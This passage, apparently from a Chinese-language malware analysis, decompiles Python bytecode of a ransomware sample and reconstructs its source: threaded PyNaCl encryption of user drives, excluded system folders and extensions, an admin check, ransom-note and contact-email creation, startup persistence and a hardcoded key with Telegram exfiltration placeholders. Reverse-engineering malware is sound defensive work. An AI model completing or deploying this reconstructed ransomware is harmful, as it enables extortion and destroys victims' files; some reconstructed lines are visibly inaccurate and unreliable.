24      LOAD_GLOBAL                     2: D_E_ncrypt
26      LOAD_FAST                       2: file_path
28      LOAD_GLOBAL                     3: Box
30      CALL_FUNCTION                   2     //D_E_ncrypt(file_path, Box).FileE
32      LOAD_ATTR                       4: FileE
34      CALL_METHOD                     1     // executor.submit
36      LOAD_FAST                       2: file_path
38      MAP_ADD                         3
40      JUMP_ABSOLUTE                   16
42      JUMP_ABSOLUTE                   4
44      RETURN_VALUE

逻辑大概如下

  with ThreadPoolExecutor(MAX_THREAD_WORKERS ='max_workers' ) as executor:
        future_to_file = {
        file_path: executor.submit(D_E_ncrypt(file_path, Box).FileE)  # 提交 FileE 方法
        for path in PathList
        for file_path in encrypt_files_in_path(path)
    }

接下来对多线程操作进行判断

38      LOAD_GLOBAL                     4: as_completed
40      LOAD_FAST                       0: future_to_file
42      CALL_FUNCTION                   1  
44      GET_ITER
46      FOR_ITER                        96 (to 144)
48      STORE_FAST                      1: future //for future in as_completed(future_to_file):
50      LOAD_FAST                       0: future_to_file
52      LOAD_FAST                       1: future
54      BINARY_SUBSCR
56      STORE_FAST                      2: file_path
58      SETUP_FINALLY                   26 (to 86)//设置异常处理
60      LOAD_FAST                       1: future
62      LOAD_METHOD                     5: result
64      CALL_METHOD                     0  //future.result()
66      POP_TOP
68      LOAD_GLOBAL                     0: print
70      LOAD_CONST                      5: 'Successfully encrypted '
72      LOAD_FAST                       2: file_path
74      FORMAT_VALUE                    0 (FVC_NONE)  //print(f'Successfully encrypted {file_path}')
76      BUILD_STRING                    2
78      CALL_FUNCTION                   1
80      POP_TOP
82      POP_BLOCK
84      JUMP_ABSOLUTE                   46
86      DUP_TOP
88      LOAD_GLOBAL                     6: Exception
90      JUMP_IF_NOT_EXC_MATCH           140
92      POP_TOP
94      STORE_FAST                      3: exc
96      POP_TOP
98      SETUP_FINALLY                   32 (to 132)
100     LOAD_GLOBAL                     0: print
102     LOAD_CONST                      6: 'Error encrypting '
104     LOAD_FAST                       2: file_path
106     FORMAT_VALUE                    0 (FVC_NONE)
108     LOAD_CONST                      7: ': '
110     LOAD_FAST                       3: exc
112     FORMAT_VALUE                    0 (FVC_NONE)
114     BUILD_STRING                    4
116     CALL_FUNCTION                   1  //print(f'Error encrypting {file_path}: {exc}')
118     POP_TOP
120     POP_BLOCK
122     POP_EXCEPT
124     LOAD_CONST                      0: None
126     STORE_FAST                      3: exc
128     DELETE_FAST                     3: exc
130     JUMP_ABSOLUTE                   46
132     LOAD_CONST                      0: None
134     STORE_FAST                      3: exc
136     DELETE_FAST                     3: exc
138     RERAISE
140     RERAISE
142     JUMP_ABSOLUTE                   46
144     POP_BLOCK
146     LOAD_CONST                      0: None
148     DUP_TOP
150     DUP_TOP
152     CALL_FUNCTION                   3
154     POP_TOP
156     JUMP_FORWARD                    16 (to 174)
158     WITH_EXCEPT_START
160     POP_JUMP_IF_TRUE                164
162     RERAISE
164     POP_TOP
166     POP_TOP
168     POP_TOP
170     POP_EXCEPT
172     POP_TOP
174     LOAD_CONST                      0: None
176     RETURN_VALUE

经过还原的代码大致如下

def OneStart():
   print("It's Working")
   with ThreadPoolExecutor(MAX_THREAD_WORKERS ='max_workers' ) as executor:
       future_to_file = {
       file_path: executor.submit(D_E_ncrypt(file_path, Box).FileE)  # 提交 FileE 方法
       for path in PathList
       for file_path in encrypt_files_in_path(path)
   }
       for future in as_completed(future_to_file):
           future_path = future_to_file[future]
           try:
               future.result()
               print(f'Successfully encrypted {file_path}')
           except:
               print(f'Error encrypting {file_path}: {exc}')

4.3.7 CallErrorBox函数

此函数被正常反编译出来,这里就不再赘述

def CallErrorBox():
   WINDOW = tkinter.Tk()
   WINDOW.withdraw()
   messagebox.showerror('Error', 'Try To Re-Run As Administrator')

4.3.8 encrypt_files_in_path

这个函数的字节码如下

0       LOAD_GLOBAL                     0: os
2       LOAD_METHOD                     1: walk
4       LOAD_FAST                       0: path
6       CALL_METHOD                     1  //os.walk(path)
8       GET_ITER
10      FOR_ITER                        138 (to 150)
12      UNPACK_SEQUENCE                 3   //解包上面返回的可迭代对象
14      STORE_FAST                      1: root
16      STORE_FAST                      2: _
18      STORE_FAST                      3: files
20      LOAD_FAST                       3: files
22      GET_ITER
24      FOR_ITER                        122 (to 148)
26      STORE_FAST                      4: name
28      LOAD_GLOBAL                     0: os
30      LOAD_ATTR                       2: path
32      LOAD_METHOD                     3: join
34      LOAD_FAST                       1: root
36      LOAD_FAST                       4: name
38      CALL_METHOD                     2  //os.path.join(root, name)
40      STORE_DEREF                     0: file_path
42      LOAD_GLOBAL                     0: os
44      LOAD_METHOD                     4: stat
46      LOAD_DEREF                      0: file_path
48      CALL_METHOD                     1  //os.stat(file_path).st_size
50      LOAD_ATTR                       5: st_size
52      STORE_FAST                      5: file_size

得到代码如下

    for root, _, files in os.walk(path):
       for name in files:
           file_path = os.path.join(root, name)
           file_size = os.stat(file_path).st_size

接下来是一个判断

54      LOAD_GLOBAL                     6: any
56      LOAD_CLOSURE                    0: file_path
58      BUILD_TUPLE                     1
60      LOAD_CONST                      1: <CODE> <genexpr> //生成器表达式
62      LOAD_CONST                      2: 'encrypt_files_in_path.<locals>.<genexpr>'
64      MAKE_FUNCTION                   8
66      LOAD_CONST                      3: ('$Recycle.Bin', 'Windows', 'AppData', 'System32')
68      GET_ITER
70      CALL_FUNCTION                   1  //调用genexpr
72      CALL_FUNCTION                   1 //调用any
74      POP_JUMP_IF_FALSE               78 //判断是否为false
76      JUMP_ABSOLUTE                   24//如果是就跳转

其中这个表达式汇编如下

0       LOAD_FAST                       0: .0
2       FOR_ITER                        14 (to 18)
4       STORE_FAST                      1: x //  x for x in 输入的参数
6       LOAD_FAST                       1: x
8       LOAD_DEREF                      0: file_path
10      CONTAINS_OP                     0 (in) //  file_path in x
12      YIELD_VALUE     //yield
14      POP_TOP
16      JUMP_ABSOLUTE                   2
18      LOAD_CONST                      0: None
20      RETURN_VALUE   //return

翻译为代码如下,用于排除特定目录

 if any(dir_name in file_path for dir_name in ('$Recycle.Bin', 'Windows', 'AppData', 'System32')):
               continue

接下来又是一个相似的操作

LOAD_GLOBAL                     6: any
80      LOAD_CLOSURE                    0: file_path
82      BUILD_TUPLE                     1
84      LOAD_CONST                      4: <CODE> <genexpr>  //另外一个生成器
86      LOAD_CONST                      2: 'encrypt_files_in_path.<locals>.<genexpr>'
88      MAKE_FUNCTION                   8
90      LOAD_CONST                      5: ('.dll', '.exe', '.msn', 'Ransom_Note.txt', 'background_image.jpg', '.gay', 'Key.txt', 'ReadIt.txt')
92      GET_ITER
94      CALL_FUNCTION                   1
96      CALL_FUNCTION                   1

生成器字节码如下

0       LOAD_FAST                       0: .0   //输入的参数
2       FOR_ITER                        16 (to 20)
4       STORE_FAST                      1: ext  //for ext in 输入的参数
6       LOAD_DEREF                      0: file_path
8       LOAD_METHOD                     0: endswith
10      LOAD_FAST                       1: ext
12      CALL_METHOD                     1   //file_path.endswith(ext)
14      YIELD_VALUE      
16      POP_TOP
18      JUMP_ABSOLUTE                   2
20      LOAD_CONST                      0: None
22      RETURN_VALUE

翻译后的代码如下,用于排除特定拓展名

        if any(file_path.endswith(ext) for ext in ('.dll', '.exe', '.msn', 'Ransom_Note.txt', 'background_image.jpg', '.gay', 'Key.txt', 'ReadIt.txt')):
               continue

接下来对文件大小进行校验并调用加密算法

100     JUMP_ABSOLUTE                   24
102     LOAD_FAST                       5: file_size
104     LOAD_GLOBAL                     7: FILE_SIZE_THRESHOLD
106     COMPARE_OP                      5 (>=)  //file_size >= FILE_SIZE_THRESHOLD:
108     POP_JUMP_IF_FALSE               118
110     LOAD_DEREF                      0: file_path
112     YIELD_VALUE                              //yield file_size
114     POP_TOP
116     JUMP_ABSOLUTE                   24
118     LOAD_GLOBAL                     8: print
120     LOAD_CONST                      6: 'Encrypting small file '
122     LOAD_DEREF                      0: file_path
124     FORMAT_VALUE                    0 (FVC_NONE)
126     BUILD_STRING                    2
128     CALL_FUNCTION                   1   //  print(f'Encrypting small file {file_path}')
130     POP_TOP
132     LOAD_GLOBAL                     9: D_E_ncrypt
134     LOAD_DEREF                      0: file_path
136     LOAD_GLOBAL                     10: Box
138     CALL_FUNCTION                   2   // D_E_ncrypt(file_path, Box)
140     LOAD_METHOD                     11: FileE
142     CALL_METHOD                     0  //encryptor.FileE()
144     POP_TOP
146     JUMP_ABSOLUTE                   24
148     JUMP_ABSOLUTE                   10
150     LOAD_CONST                      0: None
152     RETURN_VALUE

代码大致如下

def encrypt_files_in_path(path):
   for root, _, files in os.walk(path):
       for name in files:
           file_path = os.path.join(root, name)
           file_size = os.stat(file_path).st_size
           
           # 排除特定目录
           if any(dir_name in file_path for dir_name in ('$Recycle.Bin', 'Windows', 'AppData', 'System32')):
               continue
           
           # 排除特定文件扩展名
           if any(file_path.endswith(ext) for ext in ('.dll', '.exe', '.msn', 'Ransom_Note.txt', 'background_image.jpg', '.gay', 'Key.txt', 'ReadIt.txt')):
               continue
           
           # 检查文件大小
           if file_size >= FILE_SIZE_THRESHOLD:
               yield file_path
           print(f'Encrypting small file {file_path}')
               
               # 创建 D_E_ncrypt 实例并调用 FileE 方法
           encryptor = D_E_ncrypt(file_path, Box)
           encryptor.FileE()

4.3.9 main

if __name__ == '__main__':
   if AdminRight:
       OneStart()
       create_ransom_note()
       email = 'elenaelerhsteink08673@gmail.com'
       create_image_with_email(email)
       script_path = os.path.abspath(__file__)
       add_to_startup(script_path)
   else:
       CallErrorBox()

4.3.10 全局变量初始化

MAX_THREAD_WORKERS = 100
FILE_SIZE_THRESHOLD = 10485760
User = os.getlogin()
Script = sys.argv[0]
MaxThread = 120
AdminRight = ctypes.windll.shell32.IsUserAnAdmin()
#密钥初始化
Key = b'\xc0n\xf7\xd3\x95\x90w7\x06\xdd\xc2A\x8d\xaew\xcd[\xdb\xc9R\xf0\xfbLE8\xf0\xf7\xd5\xce\xed\xd6\xfa'
Box = nacl.secret.SecretBox(Key)
Token = 'Your Telegram Token So you can Get Decrypt The Files!'
NumID = 'Your User ID so Bot just Send Key To You !'
Message = f'''{User} -> {Key}'''
PathList = [
   'C:\\Users\\\\']
for Latter in range(97, 123):
   PathList.append(f'''{chr(Latter)}:\\''')
PathList.remove('c:\\')
print(f'''list -> {PathList}''')
print(f'''We are -> {Script}''')